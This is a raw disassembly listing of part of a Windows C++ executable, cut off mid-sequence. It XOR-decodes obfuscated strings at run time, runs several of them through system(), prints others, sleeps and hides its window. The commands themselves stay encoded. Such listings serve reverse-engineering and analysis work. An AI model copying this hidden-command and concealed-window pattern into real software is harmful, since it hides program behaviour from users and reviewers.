lea r8, [rbp + 0x1810]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xc40]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x1370]
call fcn.14000c950
nop
lea rcx, [rbp + 0xc40]
call fcn.14000c850
lea rcx, [rbp + 0x1370]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
je 0x14006bbf0
movabs rdx, 0x17b343a2caa0bfc6
movabs r14, 0xe7b75bf343453530
movabs r15, 0x287cf9074123b56e
nop
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x600], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x608], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x610], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x618], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x26c0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x26c8], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x26d0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x26d8], rax
vmovdqu ymm0, ymmword [rbp + 0x600]
vpxor ymm1, ymm0, ymmword [rbp + 0x26c0]
vmovdqa ymmword [rbp + 0x600], ymm1
lea rdx, [rbp + 0x600]
vzeroupper
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov qword [rbp + 0x300], 1
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0xc60]
call fcn.140061610
mov rcx, rax
call fcn.14005d990
nop
lea rcx, [rbp + 0x1370]
call fcn.14000c850
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e40], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e48], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x1e40]
movdqa xmmword [rbp + 0x20], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xb3a35cf65c5f3513
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x287dff1a0771a628
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0x179d6d8c8dedb78e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x1e60], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x1e68], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x1e70], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1e78], rax
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e60]
vmovdqa ymmword [rbp + 0x40], ymm1
lea r8, [rbp + 0x1810]
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0xc40]
vzeroupper
call fcn.1400616c0
nop
mov r8d, 1
lea rdx, [0x140107f40]
mov rcx, rax
call fcn.14000cb50
mov rdx, rax
lea rcx, [rbp + 0x1370]
call fcn.14000c950
nop
lea rcx, [rbp + 0xc40]
call fcn.14000c850
lea rcx, [rbp + 0x1370]
call fcn.14000c840
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
movabs rdx, 0x17b343a2caa0bfc6
jne 0x14006b9a0
xor r15d, r15d
mov r14, qword [rbp + 8]
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xe8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f60], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f68], rax
movdqa xmm0, xmmword [rbp + 0xe0]
xorps xmm0, xmmword [rbp + 0x1f60]
movdqa xmmword [rbp + 0xe0], xmm0
lea rcx, [rbp + 0xe0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rax, 0xc7e415e858403b04
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0xf8], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f50], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f58], rax
movdqa xmm0, xmmword [rbp + 0xf0]
xorps xmm0, xmmword [rbp + 0x1f50]
movdqa xmmword [rbp + 0xf0], xmm0
lea rcx, [rbp + 0xf0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xa2b356ef640c5e6d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb00], rax
movabs rax, 0x2860fd1f1437a97b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb08], rax
movabs rax, 0x7ee90ce1c0b9abe0
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb10], rax
movabs rax, 0xd33f1504509b3a01
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb18], rax
movabs rax, 0x3166153ebea52e5c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb20], rax
movabs rdx, 0xc9fc8df76013421c
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb28], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2260], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2268], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2270], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2278], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2280], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2288], rax
vmovdqu ymm0, ymmword [rbp + 0xb00]
vpxor ymm1, ymm0, ymmword [rbp + 0x2260]
vmovdqa ymmword [rbp + 0xb00], ymm1
vmovdqa xmm0, xmmword [rbp + 0xb20]
vxorps xmm0, xmm0, xmmword [rbp + 0x2280]
vmovdqa xmmword [rbp + 0xb20], xmm0
lea rdx, [rbp + 0xb00]
vzeroupper
call fcn.140072a90
lea rdx, str.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb5b346f8427f746d
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x700], rax
movabs rax, 0x7b31ff1c0825aa61
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x708], rax
movabs rax, 0x179d6d8cafede488
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x710], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x718], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2860], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2868], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2870], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2878], rax
vmovdqu ymm0, ymmword [rbp + 0x700]
vpxor ymm1, ymm0, ymmword [rbp + 0x2860]
vmovdqa ymmword [rbp + 0x700], ymm1
lea rdx, [rbp + 0x700]
vzeroupper
call fcn.140072a90
lea rcx, [0x140122b90]
call fcn.14006ee80
test rax, rax
je 0x14006c05a
mov rbx, r15
movabs rdi, 0xb5b945e2520c6e47
movabs rsi, 0x81991736171e071
nop dword [rax]
mov rdx, rbx
lea rcx, [0x140122b90]
call fcn.14006ee50
mov rdx, rax
lea rcx, [rbp + 0x1a10]
call fcn.14006cff0
nop
lea rdx, [rbp + 0x1a30]
lea rcx, [rbp + 0xef0]
call fcn.14000c9c0
mov rcx, rax
call fcn.14006d240
mov rdx, rax
lea rcx, [rbp + 0x1298]
call fcn.14006d2d0
movups xmm0, xmmword [rax]
movaps xmmword [rbp + 0xca0], xmm0
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0xcb0], xmm1
mov eax, dword [rax + 0x20]
mov dword [rbp + 0xcc0], eax
lea rdx, [rbp + 0xca0]
lea rcx, [rbp + 0xf10]
call fcn.14006d0e0
mov rbx, rax
mov r8, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 8], rdi
mov rcx, qword [rbp + 8]
mov qword [rbp + 0x100], rcx
mov qword [rbp + 8], rsi
mov rdx, qword [rbp + 8]
mov qword [rbp + 0x108], rdx
mov qword [rbp + 8], r13
mov rdx, qword [rbp + 8]
mov qword [rbp + 0x1f40], rdx
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f48], rax
movdqa xmm0, xmmword [rbp + 0x100]
xorps xmm0, xmmword [rbp + 0x1f40]
movdqa xmmword [rbp + 0x100], xmm0
lea rdx, [rbp + 0x100]
mov rcx, r8
call fcn.140072a90
mov rdx, rbx
mov rcx, rax
call fcn.140072c60
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0xf10]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1a10]
call fcn.14006d030
inc r15d
movsxd rbx, r15d
lea rcx, [0x140122b90]
call fcn.14006ee80
cmp rbx, rax
jb 0x14006bf10
movabs rsi, 0xbc73357d3cf75b62
movabs rdi, 0x179d6d8cafcddea1
lea rcx, [rbp + 0x1370]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1810]
call fcn.14000c850
jmp 0x14006c07f
movabs rdi, 0x179d6d8cafcddea1
movabs rax, 0xc7e415e858403b04
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x110], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x118], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f30], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1f38], rax
movdqa xmm0, xmmword [rbp + 0x110]
xorps xmm0, xmmword [rbp + 0x1f30]
movdqa xmmword [rbp + 0x110], xmm0
lea rcx, [rbp + 0x110]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14000c8b0
call fcn.14000c8b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xe7f015ba170c7447
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x800], rax
movabs rax, 0x2839b1534171fa28
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x808], rax
movabs rax, 0x37bd4dac8fedfe81
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x810], rax
movabs rax, 0x9c53155d1cd77b42
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x818], rax
movabs rax, 0x1b287c3efae0691b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x820], rax
movabs rax, 0xe9dcadd74033623c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x828], rax
movabs rax, 0x38e417300bdf8b55
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x830], rax
movabs rdx, 0x9b8ab614f9a60e6
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x838], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x27e0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x27e8], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x27f0], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x27f8], rax
movabs rax, 0x3b085c1edac0493b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2800], rax
movabs rax, 0xc9fc8df76013421c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2808], rax
movabs rax, 0x38e417302bffab75
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2810], rax
mov qword [rbp + 8], rdx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2818], rax
vmovdqu ymm0, ymmword [rbp + 0x800]
vpxor ymm1, ymm0, ymmword [rbp + 0x27e0]
vmovdqa ymmword [rbp + 0x800], ymm1
vmovdqu ymm0, ymmword [rbp + 0x820]
vpxor ymm1, ymm0, ymmword [rbp + 0x2800]
vmovdqa ymmword [rbp + 0x820], ymm1
lea rdx, [rbp + 0x800]
vzeroupper
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rsi, 0xe7b75bf344433824
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x720], rax
movabs rdi, 0x6676f2531238b27c
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x728], rax
movabs rbx, 0x37f304accaa1b1d2
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x730], rax
movabs rax, 0xbc73357d3cd97551
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x738], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2880], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2888], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2890], rax
movabs r15, 0xbc73357d3cf75b62
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2898], rax
vmovdqu ymm0, ymmword [rbp + 0x720]
vpxor ymm1, ymm0, ymmword [rbp + 0x2880]
vmovdqa ymmword [rbp + 0x720], ymm1
lea rdx, [rbp + 0x720]
vzeroupper
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x740], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x748], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x750], rax
movabs rax, 0xbc73357d3cd97550
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x758], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2460], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2468], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2470], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x2478], rax
vmovdqu ymm0, ymmword [rbp + 0x740]
vpxor ymm1, ymm0, ymmword [rbp + 0x2460]
vmovdqa ymmword [rbp + 0x740], ymm1
lea rdx, [rbp + 0x740]
vzeroupper
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x760], rax
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x768], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x770], rax
movabs rax, 0xbc73357d3cd97553
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x778], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e20], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e28], rax
movabs rax, 0x179d6d8cafcddea1
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e30], rax
mov qword [rbp + 8], r15
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e38], rax
vmovdqu ymm0, ymmword [rbp + 0x760]
vpxor ymm1, ymm0, ymmword [rbp + 0x1e20]
vmovdqa ymmword [rbp + 0x760], ymm1
lea rdx, [rbp + 0x760]
vzeroupper
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor edx, edx
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.14000c8b0
lea r8, [rbp + 0x12e0]
lea rdx, [0x14005dac0]
lea rcx, [rbp + 0xbe0]
call fcn.140072f20
nop
mov rcx, rax
call fcn.140062350
nop
lea rcx, [rbp + 0xbe0]
call fcn.140062330
lea r8, [rbp + 0x12e0]
lea rdx, [0x140061940]
lea rcx, [rbp + 0xbf0]
call fcn.140072f20
nop
mov rcx, rax
call fcn.140062350
nop
lea rcx, [rbp + 0xbf0]
call fcn.140062330
lea rdx, [0x140061820]
lea rcx, [rbp + 0xc00]
call fcn.140072fc0
nop
mov rcx, rax
call fcn.140062350
nop
lea rcx, [rbp + 0xc00]
call fcn.140062330
lea rdx, [0x14005e390]
lea rcx, [rbp + 0xc10]
call fcn.140072fc0
nop
mov rcx, rax
call fcn.140062350
nop
cmp dword [rbp + 0xc18], 0
je 0x14006c614
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
call fcn.14000c8b0
nop dword [rax]
lea rcx, [0x140122c90]
call fcn.1400052b0
test eax, eax
je 0x14006c639
cmp byte [0x140122d33], 0
je 0x14006c620
mov rcx, qword [rbp + 0x12e8]
test rcx, rcx
je 0x14006c64c
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0x1590]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1dc0]
call fcn.14006e760
lea rcx, [rbp + 0x1dc0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1b40]
call fcn.14006e760
lea rcx, [rbp + 0x1b40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1970]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1990]
call fcn.14000c850
nop
lea rcx, [rbp + 0x19f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x19b0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1830]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1ba0]
call fcn.14006d890
nop
lea rcx, [rbp + 0x1310]
call fcn.14000c850
nop
lea rcx, [rbp + 0x19d0]
call fcn.140063b00
nop
lea rcx, [rbp + 0x1850]
call fcn.140063b00
nop
lea rcx, [rbp + 0x1690]
call fcn.140063b00
nop
lea rcx, [rbp + 0x16b0]
call fcn.140063b00
nop
lea rcx, [rbp + 0x1390]
call fcn.140063b00
nop
lea rcx, [rbp + 0x15b0]
call fcn.140063b00
nop
lea rcx, [rbp + 0x13b0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1510]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1530]
call fcn.14000c850
nop
lea rcx, [rbp + 0x14f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x14d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x14b0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1490]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1470]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1450]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1430]
call fcn.14000c850
nop
lea rcx, [rbp + 0x16d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x16f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1710]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1730]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1750]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1770]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1790]
call fcn.14000c850
nop
lea rcx, [rbp + 0x17f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1870]
call fcn.14000c850
nop
lea rcx, [rbp + 0x15d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x15f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1610]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1630]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1650]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1670]
call fcn.14000c850
nop
lea rcx, [rbp + 0x13d0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x13f0]
call fcn.14000c850
nop
lea rcx, [rbp + 0x1410]
call fcn.14000c850
mov eax, 1
jmp 0x14006ce64
mov edx, 5
mov rcx, r14
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xb3f051ff5b453521
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x780], rax
movabs rax, 0x7c39ff16113efa67
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x788], rax
movabs rax, 0x17f801e5c9edbbc9
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0x790], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x798], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e20], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e28], rax
movabs rbx, 0x179d6d8cafcddea1
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e30], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x1e38], rax
vmovdqu ymm0, ymmword [rbp + 0x1e20]
vpxor ymm1, ymm0, ymmword [rbp + 0x780]
vmovdqa ymmword [rbp + 0x780], ymm1
lea rdx, [rbp + 0x780]
vzeroupper
call fcn.140072a90
lea rdx, [0x140072c80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xe7a454ba5c433b2b
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb40], rax
movabs rax, 0x6574fe104134b27c
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb48], rax
movabs rax, 0x7bff02fedfedb0ce
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb50], rax
movabs rax, 0xd2125d1e1c843607
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb58], rax
movabs rax, 0x1b66333ea9ac2c55
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb60], rax
movabs rax, 0xc998ff9803602b78
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb68], rax
mov qword [rbp + 8], r13
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22a0], rax
mov qword [rbp + 8], r12
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22a8], rax
mov qword [rbp + 8], rbx
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22b0], rax
mov qword [rbp + 8], rsi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22b8], rax
movabs r14, 0x3b085c1edac0493b
mov qword [rbp + 8], r14
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22c0], rax
movabs rdi, 0xc9fc8df76013421c
mov qword [rbp + 8], rdi
mov rax, qword [rbp + 8]
mov qword [rbp + 0x22c8], rax
vmovdqu ymm0, ymmword [rbp + 0x22a0]
vpxor ymm1, ymm0, ymmword [rbp + 0xb40]
vmovdqa ymmword [rbp + 0xb40], ymm1
vmovdqa xmm2, xmmword [rbp + 0xb60]
vxorps xmm2, xmm2, xmmword [rbp + 0x22c0]
vmovdqa xmmword [rbp + 0xb60], xmm2
lea rdx, [rbp + 0xb40]
vzeroupper
call fcn.140072a90
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movabs rax, 0xe7bc59fb435f3a2e
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb80], rax
movabs rax, 0x6c77f0531534bd7f
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb88], rax
movabs rax, 0x63f44de9d9a2b381
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb90], rax
movabs rax, 0xd81d5c2a1c982f42
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
mov qword [rbp + 0xb98], rax
movabs rax, 0x4f7b254df5b33e54
